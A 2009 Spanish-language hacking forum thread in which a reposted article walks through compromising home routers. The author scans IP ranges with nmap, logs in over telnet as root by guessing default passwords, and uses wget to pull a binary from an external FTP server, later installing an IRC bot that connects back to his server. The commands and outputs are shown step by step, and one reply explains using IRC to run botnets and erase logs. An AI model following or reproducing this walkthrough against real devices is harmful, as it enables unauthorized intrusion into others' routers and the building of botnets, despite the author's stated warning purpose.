elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Doble factor de autenticación o verificación en dos pasos


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Avanzado (Moderadores: ANELKAOS, toxeek)
| | |-+  Routers, el gran agujero de seguridad doméstica
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 3 Ir Abajo Respuesta Imprimir
Autor Tema: Routers, el gran agujero de seguridad doméstica  (Leído 12,870 veces)
astaroth7

Desconectado Desconectado

Mensajes: 98


Ver Perfil WWW
Routers, el gran agujero de seguridad doméstica
« en: 9 Septiembre 2009, 19:12 »

En este artículo voy a hacer una descripción de cómo llegué a tomar el control absoluto de varios cientos de pequeños equipos conectados a la red de redes, describiré el porqué es una amenaza mundial y vaticinaré que el futuro del hacking irá por este camino. Pero lo más inquietante será que cualquiera con un poco de suerte puede repetir lo mismo que yo hice.

Prólogo

Bien, hace algunos años, aquellos que empezábamos con internet contratábamos nuestra linea de 56k con un ruidoso y chirriante modem. Poco después, vino el ADSL, trayendo vertiginosas velocidades de 1mb. Pero en todo esto había una gran amenenaza que las compañías telefónicas no vieron: cualquiera en su casa podía montar un pequeño servidor. Es cierto que las velocidades de subida no podían dar pie a grandes servicios, pero sí eran lo suficientemente grandes como para abrir un puerto a la escucha y poner una shell remota. En cualquier momento, un atacante podría escanear un rango de IPs y cuando detectara cierto puerto abierto era sinónimo de que estaba infectado con el famoso troyano, tomando el control absoluto del ordenador. Era la época del famoso SubSeven.

De cómo SubSeven cayó en el olvido

A medida que pasaba el tiempo, al abaratarse los equipos informáticos, los usuarios comenzaron a adquirir más ordenadores. Pero el problema era que con los antiguos modem tan solo se podia conectar uno a internet, y en caso de querer encufar más máquinas a la red, hacía falta un engorroso proceso. Fue entonces cuando la gente comenzó a comprar routers, hubs ethernet que permitían comunicar cuatro o más equipos con el mundo exterior. Esta práctica se popularizó, hasta que las propias compañías proveedoras de servicios proporcionaban equipos híbridos módem-router, que son los que conocemos ahora.

Al utilizar un router, los paquetes que llegan de fuera deben decidir el camino a tomar, porque si hay cuatro ordenadores en la red interna peude ser un auténtico lío. Para eso necesita tablas de enrutamiento. Y si uno quiere conectarse a un ordenador, antes tiene que dar cuentas al router, que debe de estar correctamente configurado para que cuando le decimos "router, conéctame con la máquina x en el puerto 80", este nos lleve efectivamente a la máquina x en el puerto 80. Por defecto, todos los puertos en los routers están desenrutados, por lo que, a menos que se abran manualmente, este aparatito cuadrado hará oídos sordos de cualquier requerimiento de conexión. El SubSeven había muerto.

Máquinas de pocas palabras

Los troyanos de conexión directa ya no eran útiles, pero nunca se cierra una puerta sin que se abra una ventana. Para configurar el router, ciertamente, hacía falta una interfaz. Para ello, estos quedaban a la escucha con un servidor HTTP detrás, y cuando un usuario lo requiriera, ya fuese desde la red local o desde el exterior, el aparato te permitía configurarlo correctamente, siempre y cuando supieras el santo y seña. Y he aquí el quid de la cuestión, la contraseña en casi todos los casos era la misma que traía de fábrica. El 90% de los usuarios no la habrían cambiado, tal vez ni siquiera sabría qué coño es eso. Probando cosas como "admin", "root", "password", "1234"... cualquier atacando sin nada mejor que hacer podía tomar control absoluto de tus tablas de erutamiento.

Pero claro, siempre habían usuarios avispados, que la cambiaban con presteza. El problema ahora era que los routers domésticos antiguos no te permitían, en el mejor de los casos, exceder los seis carácteres. Así que un atancante un poco más mañoso, con una sencilla herramienta que probase todas las combinaciones, si se le metía en los cojones acababa accediendo a las enrutadas tripas del engendro.

Sofisticación VS Seguridad

Internet creció, las páginas se hicieron más pesadas, el streamming de audio y video provocaban auténticos trombos de datos, y es por eso que el bando de ancha creció, y con el la velocidad de acceso del usuario medio. Para manejar tremenda cantidad de datos, los routers tenían que ser más sofisticados, y sus pequeños ordenadores emebebidos más potentes. Los software de configuración cambiaron, y ahora tambien ofrecían configuración por FTP, telnet, SSH, HTTPS y el antiguo HTTP. Todo muy bonito y configurable, pero esto entraña otro riesgo: a más servicios, más puertos abiertos. Y a más puertos, hace falta un sistema más grande y estable. Y a más grande sea el sistema, más código tiene. Y a más código tiene, más bugs posee. Si a esto sumamos que el usuario sigue sin cambiar la contraseña en sus bonitos routers, tenemos el sueño de cualquier piratilla informático.

Idea general del ataque

Desde hace unos pocos años, si un router tiene abiertos los puertos 22 o 23 (SSH y telnet), significará que no solo tiene un pequeño interfaz de configuración, si no un pequeño linux embebido. Muchas marcas de routers los tienen. Si nos conseguimos colar como usuario root el sistema se verá seriamente comprometido. Y si una vez estamos dentro como root, subimos e instalamos un programita que a su vez escanee la red en busca de más equipos vulnerables, tendríamos un gusano peligrosísimo. Y no solo eso: ¿porqué no montar un servidor HTTP, FTP o incluso IRC? Las máquinas tienen un pequeño disco duro, y pocos recursos, pero si yo quiero distribuir material ilegal podría se runa buena opción. Además, casi todos los routers cuentan con un servicio de actualización de DNS dinámico, como DynDNS o No-IP. Con una dirección fija, ya tendríamos un server en toda regla.

El sueño de todo hacker es obtener root en un servidor. Esto te da control absoluto. Pero si además eres indetectable por parte del usuario (si este deja la contraseña que trae el router por defeto, ¿va a explorar quien puede estar en su sistema?) y por los firewalls y antivirus, estamos ante una utopía.

Comenzando el asalto

En este ejemplo, que es totalmente real, no daré detalles como IPs, o rangos de IP's donde se pueden encontrar equipos vulnerables, ni de compañías que instalan este tipo de routers o de países. Eso sería una irresponsabilidad por mi parte, y se aleja del objetivo didáctico de este artículo. Tan solo diré que es bastante común encontrar un router vulnerable.

Bien, lo primero es hacerse con las herramientas necesarias. Nuestro objetivo es arbitrario, o sea, que nos da igual quien sea. Por ello vamos a adquirir la último versión del nmap, un gran programa, de su correspondiente web: http://www.insecure.org. Una vez lo tenemos, tanto en Windows como en Linux, vamos a escanear el rango de IPs donde puede haber una vulnerabilidad:

Código:
nmap -v -v -T4 -F 0.1.2.*

Esto escanería los 255 hosts de esa IP. Nótese que esta es poco menos que ficticia.

Tras un ratito escaneando, el nmap nos debería escupir algunos resultados. Yo, para este ejemplo, me he fijado en este:

Código:
Host dslxxx.xxx.xxx.xxx.xx (xxx.xxx.xxx.130) is up (0.14s latency).
Scanned at 2009-xx-xx xx:x4:35 Romance Standard Time for 91s
Interesting ports on dslxxx.xxx.xxx.xxx.xx (xxx.xxx.xxx.130):
Not shown: 91 closed ports
PORT     STATE    SERVICE
21/tcp   open     ftp
22/tcp   open     ssh
23/tcp   open     telnet
25/tcp   filtered smtp
80/tcp   open     http
135/tcp  filtered msrpc
139/tcp  filtered netbios-ssn
445/tcp  filtered microsoft-ds
1723/tcp filtered pptp

Seguramente se trata de un bonito router con una bonita cantidad de puertos abiertos: FTP, SSH, telnet y HTTP. Sin perder más tiempo, abro una línea de comandos (estoy en Windows) y le hago un rápido telnet:

Código:
C:\>telnet xxx.xxx.xxx.130
Connecting To xxx.xxx.xxx.130...

BusyBox on localhost login:

¡Bingo! Tenemos un login por telnet. De igual forma podría ser por SSH, pero bueno, telnet viene a ser los mismo. Veo una palabra clave: "BusyBox". Un rápido googleo me informa de que es un minilinux para sistemas embebidos. Me pide el login, y como yo quiero ser "root", pongo root. Entonces me pide la contraseña. Pruebo varias, como root, admin, 1234, en blanco, password, pass... tras algunos intentos, lo consigo (no diré la verdadera):

Código:
BusyBox on localhost login: root
Password:


BusyBox v0.61.pre (2006.09.25-12:57+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

#

La ostia. A la primera. Estoy como root en un sistema remoto que no actualizan desde el 25 de septiembre de 2006. Esto debe de ser el paraíso. Hago un par de comandos para tantear donde estoy metido:

Código:
# whoami
root
# ls
bin      etc      proc     usr      var.tar
dev      lib      sbin     var
# help

Built-in commands:
-------------------
        . : bg break builtin cd chdir continue eval exec exit export
        false fc fg hash help jobs kill local pwd read readonly return
        set setvar shift times trap true type ulimit umask unset wait

# busybox
BusyBox v0.61.pre (2006.09.25-12:57+0000) multi-call binary

Usage: busybox [function] [arguments]...
   or: [function] [arguments]...

        BusyBox is a multi-call binary that combines many common Unix
        utilities into a single executable.  Most people will create a
        link to busybox for each function they wish to use, and BusyBox
        will act like whatever it was invoked as.

Currently defined functions:
        [, ash, busybox, cat, chgrp, chmod, chown, cp, cut, dd, df, echo,
        false, free, grep, hostname, id, ifconfig, init, insmod, kill,
        ln, login, ls, lsmod, mkdir, modprobe, mount, mv, passwd, ping,
        ps, pwd, reboot, rm, rmmod, route, sh, sleep, sync, tar, test,
        tftp, touch, true, tty, umount, wget, whoami, yes

#

Como pueden ver, esoy en el directorio / de un sistema Linux como usuario "root". Vamos a echar un vistazo alrededor:

Código:
# cd proc
# ls
1            4            avalanche    iomem        misc         sysvipc
102          41           bus          ioports      modules      ticfg
111          5            cmdline      kcore        mounts       tty
1586         6            cpuinfo      kmsg         mtd          tzval
1587         676          devices      ksyms        net          uptime
1591         7            dma          led_mod      partitions   version
2            73           driver       loadavg      self         wlan
3            75           execdomains  locks        slabinfo
319          76           filesystems  meminfo      stat
361          98           fs           mii_read     swaps
377          99           interrupts   mii_write    sys
# cat version
Linux version 2.4.17_mvl21-malta-mips_fp_le (beri@debian) (gcc version 2.95.3 20
010315 (release/MontaVista)) #1 Mon Sep 25 15:52:29 EEST 2006
# cat cpuinfo
processor               : 0
cpu model               : MIPS 4KEc V4.8
BogoMIPS                : 211.35
wait instruction        : no
microsecond timers      : yes
extra interrupt vector  : yes
hardware watchpoint     : yes
VCED exceptions         : not available
VCEI exceptions         : not available
#

Con esto obtenemos un poco más de información. La versión del kernel es bastante antigua (2.4.17), compilada para un procesador MIPS de 4K. ¿Quien necesita más? ¿No es esto suficiente para hacer maldades? Y lo mejor esque ni siquiera necesito ejecutar un exploit que me permita ser root. Ya lo soy.

Bueno, llegados a este punto, no se puede perder el tiempo. Veo que dispongo del comando wget:

Código:
# wget
BusyBox v0.61.pre (2006.09.25-12:57+0000) multi-call binary

Usage: wget [-c|--continue] [-q|--quiet] [-O|--output-document file]
        [--header 'header: value'] [-Y|--proxy on/off] [-P DIR] url

#

Por lo que podré obtener cositas de internet.

Me voy a disponer a compilar un simple "Hola Mundo". El código sería el siguiente:

Código:
#include <conio.h>

int main()
{
       printf("Hello world.");
}

Me voy a mi otro ordenador, donde tengo Linux, e intento compilarlo. Rápidamente caigo en la cuenta de que necesito un compilador para MIPS. Después de buscar un poco en google descargo este, ya compilado: http://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2. Habrán muchos otros, pero este fue el primero que encontré. Puede que también les sirva. No entraré en detalles, los compilé y lo subí a un servidor FTP gratuito. De nuevo en mi router rooteado, hago:

Código:
# cd var/tmp
# wget http://xxx.ftpserver.com/hello
Set PR mark for socket 0x6 = 239
hello                   100% |*****************************|  5551       00:00 ETA
# chmod +x hello
# ./hello
Hello world.#

Fue en este momento cuando sentí un cosquilleo en la boca del estómago. Cogí de internet un ejemplo de bot IRC en C, lo ajusté, corregí un poco el código, lo compilé, lo subí, lo ejecuté y vi con admiración como se conectaba a mi servidor IRC desde un lugar remoto del mundo, completamente a mis órdenes. Podría haberle puesto un comando para que buscase mas equipos vulnerables, con un mini logeador por telnet a fuerza bruta y otro comando para inicar un básico DDoS. No hice nada maligno, pero de querer haberlo hecho, ¿quién iba a impedírmelo? Y es más, de haberlo hecho, ¿quién me iba a descubrir?

Conclusiones

El ejemplo que he descrito se trata de un serio problema de seguridad mundial. Cualquier atacante malintencionado podría instalar bots IRC para hacer ataques DDoS, proxies completamente anónimos, servidores de cualquier tipo, etc. Es cierto que los routers son muy poco potentes, pero el poder dispones de 1000, 2000 o 10000 pequeñas máquinas indetectables, por muy poco potentes que sean, y por muy poco ancho de banda del que dispongan, son una seria amenaza.

Con este artículo no estoy incitando al crimen, más bien todo lo contrario. Intento fomentar el uso de claves seguras, y la responsabilidad del ISP de mantener a sus clientes a su propia red fuera de peligro.

Espero que el ejemplo quede claro. Como dije antes, con el tiempo, los routers serán cada vez más complejos y esto no ha hecho más que empezar. El futuro del hacking, a mi modo de ver, irá por este camino. Esperemos que le encuentren solución rápidamente.

Fuente original: http://www.descifra.me
En línea

toxeek
The "Tricky" ..
Moderador
***
Desconectado Desconectado

Mensajes: 1.636


Ver Perfil
Re: Routers, el gran agujero de seguridad doméstica
« Respuesta #1 en: 9 Septiembre 2009, 19:25 »


Gracias por el aporte, muy bien explicado.

Ahora solo añadir que estamos en el 2009, y si entras por ssh o telnet a la confi de un router puedes hacer movidas ( Cisco incluyó soporte para ssh en IOS mas tardíos ) pero una shell del sistema Linux embebido.. corrígeme si no, pero al estar embebido necesitaras un hack en el firmware o algo por el estilo para que ocurra en la mayoria de los casos.

Es decir, entras por telnet con la pass a la confi del router ( ojo, sin mapeo de puertos a un PC Local )
y tienes a tu disposicion una gama de comandos a ejecutar, no una shell del sistema embebido.



Saludos.
En línea

"La envidia es una declaración de inferioridad"
Napoleón.
astaroth7

Desconectado Desconectado

Mensajes: 98


Ver Perfil WWW
Re: Routers, el gran agujero de seguridad doméstica
« Respuesta #2 en: 9 Septiembre 2009, 19:36 »


Gracias por el aporte, muy bien explicado.

Ahora solo añadir que estamos en el 2009, y si entras por ssh o telnet a la confi de un router puedes hacer movidas ( Cisco incluyó soporte para ssh en IOS mas tardíos ) pero una shell del sistema Linux embebido.. corrígeme si no, pero al estar embebido necesitaras un hack en el firmware o algo por el estilo para que ocurra en la mayoria de los casos.

Es decir, entras por telnet con la pass a la confi del router ( ojo, sin mapeo de puertos a un PC Local )
y tienes a tu disposicion una gama de comandos a ejecutar, no una shell del sistema embebido.



Saludos.

No, no me refiero a la configuración. Entras a la shell del sistema. Y hay varias compañias que instalan este tipo de routers, no necesitas hacerte un firmware nuevo.
En línea

toxeek
The "Tricky" ..
Moderador
***
Desconectado Desconectado

Mensajes: 1.636


Ver Perfil
Re: Routers, el gran agujero de seguridad doméstica
« Respuesta #3 en: 9 Septiembre 2009, 19:40 »


No es lo más comun, es lo que dije.

Es más, si que tengo posesión de routers a este estilo ( Quien no! ) y en ninguno de ellos tengo shell tal cual.

Aún asi Gracias y tiene mucho jugo.

Yo una de las caracteristicas de los Cisco y en si routers que soporten GRE es hacer GRE Tunnels para sniffar data remotamente. Pero esto es otro tema!


Saludos.
En línea

"La envidia es una declaración de inferioridad"
Napoleón.
kamsky
Colaborador
***
Desconectado Desconectado

Mensajes: 2.219


Como no sabían que era imposible, lo hicieron...


Ver Perfil
Re: Routers, el gran agujero de seguridad doméstica
« Respuesta #4 en: 9 Septiembre 2009, 22:11 »

en casi todos los routers Linksys (marca de bajo coste de Cisco) medio decentes, vienen con un mini linux incorporado, asi que efectiamente,si que se puede "jugar" con estas cosas...

pero vamos, como siempre el problema está en el componente humano, basta con denegar el acceso desde el exterior, tanto a la configuración del router, como a estos mini linux

y ya está
En línea

----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!
toxeek
The "Tricky" ..
Moderador
***
Desconectado Desconectado

Mensajes: 1.636


Ver Perfil
Re: Routers, el gran agujero de seguridad doméstica
« Respuesta #5 en: 9 Septiembre 2009, 22:19 »


Que tal kamsky!


Bueno, pues al parecer asi es.
Ahora, hay muchas empresas que, para configurar sus routers en caso de viajes y altercados, deben de tener la configuracion activada via WAN. Aqui pues lo tipico, una password fuerte.

Ya me gustaria a mi echarle mano a un Linksys de esos .. Huhu.

Saludos.
En línea

"La envidia es una declaración de inferioridad"
Napoleón.
kamsky
Colaborador
***
Desconectado Desconectado

Mensajes: 2.219


Como no sabían que era imposible, lo hicieron...


Ver Perfil
Re: Routers, el gran agujero de seguridad doméstica
« Respuesta #6 en: 9 Septiembre 2009, 22:37 »

yo estuve trasteando con uno hace unos meses, y la verdad es que mola, por unos modicos 100 €urillos puedes pillarte uno normaillo :P

En línea

----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---

                       hack 4 free!!
Codename!!


Desconectado Desconectado

Mensajes: 883



Ver Perfil
Re: Routers, el gran agujero de seguridad doméstica
« Respuesta #7 en: 10 Septiembre 2009, 23:13 »

te ha salido chulo xd
En línea

No te dejes mover por las masas, se tu mismo.




7th_Sign

Desconectado Desconectado

Mensajes: 78



Ver Perfil WWW
Re: Routers, el gran agujero de seguridad doméstica
« Respuesta #8 en: 11 Septiembre 2009, 08:50 »

yo tengo en la oficina un router  wrt53g creo que lo desempolvare para jugar un rato con lo que se comenta en el post, tengo la curiosidad de saber si da todo el poder de una shell.

una pregunta??? por que siempre se busca instalar IRC??? nunca lo he comprendido y pues como no llevo mucho en este ambiente pues todavia tengo algunas dudas.


saludos
En línea

qué me sugieren poner aquí???
haxorcito

Desconectado Desconectado

Mensajes: 47


Ver Perfil WWW
Re: Routers, el gran agujero de seguridad doméstica
« Respuesta #9 en: 11 Septiembre 2009, 09:42 »

Citar
una pregunta??? por que siempre se busca instalar IRC??? nunca lo he comprendido y pues como no llevo mucho en este ambiente pues todavia tengo algunas dudas.

Porque la mayoría de los troyanos reciben órdenes vía IRC, y así tienes un canal de comunicación anónimo con la botnet. Por un lado compras la botnet y por el otro te haces con algún router o PC doméstico (mejor con varios). Los usas un tiempo, borras los logs ...
En línea

Páginas: [1] 2 3 Ir Arriba Respuesta Imprimir 

Ir a:  

Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines